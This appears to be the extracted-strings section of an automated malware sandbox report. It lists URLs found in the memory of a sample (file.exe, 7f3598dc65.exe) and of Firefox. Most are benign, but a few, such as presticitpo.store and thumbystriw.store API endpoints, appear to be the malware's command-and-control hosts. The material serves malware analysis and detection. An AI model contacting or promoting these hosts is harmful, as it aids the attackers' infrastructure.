Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sFailed
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/api
Source: 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/apiZ
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comdevtools-commandkey-styleeditor
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/ddg
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/experiment-apis/appConstants.js
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/experiment-apis/appConstants.jsshims/mochitest-shim-3.jsasyncEmitMan
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2578272451.000002B9B5930000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2(brows
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2574304998.000002B9B5155000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000019.00000002.2574304998.000002B9B5155000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000019.00000002.2574304998.000002B9B511F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Actual
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:places.frecency.pages.alternative.numSampledVisitsfirefox-desktop-
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_RESET
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_RESETDISCOVERY_STREAM_CONFIG_SETUP_downloadD
Source: firefox.exe, 00000019.00000002.2576624739.000002B9B57D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1715374278.0000000005900000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223428436.000000000586E000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2366457427.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000019.00000002.2599178228.000002B9B7221000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2582949782.000002B9B5E8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpUpdateService:_postU
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2570246981.000002B9B4CBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsUpdateService:_postUpdatePr
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesstartMigration
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationAttempting
Source: 7f3598dc65.exe, 00000010.00000003.2431038092.00000000053B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1715374278.00000000058FE000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223546717.0000000005865000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223428436.000000000586C000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2367203100.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2366457427.00000000052F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 7f3598dc65.exe, 00000008.00000003.2223546717.0000000005840000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2367203100.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1715374278.00000000058FE000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223546717.0000000005865000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223428436.000000000586C000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2367203100.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2366457427.00000000052F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 7f3598dc65.exe, 00000008.00000003.2223546717.0000000005840000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2367203100.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: file.exe, 00000000.00000003.2011455939.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thumbystriw.store:443/apiMCN9
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2353978137.000002B9B4900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5155000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2354383333.000002B9B4B1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://formautofill/locale/formautofill.propert
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2444383000.000002B9BCB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchcbe309e0-f638-4996-9dfc-ea5c19ef16e9ccb137f1-7733-464c-bb70-03
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search8
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=P-
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchapp-background-update-offgoogle
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2456017597.000002B9BD031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2466071630.000002B9BD05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1742069486.00000000059C5000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2257999297.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2431038092.00000000053B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
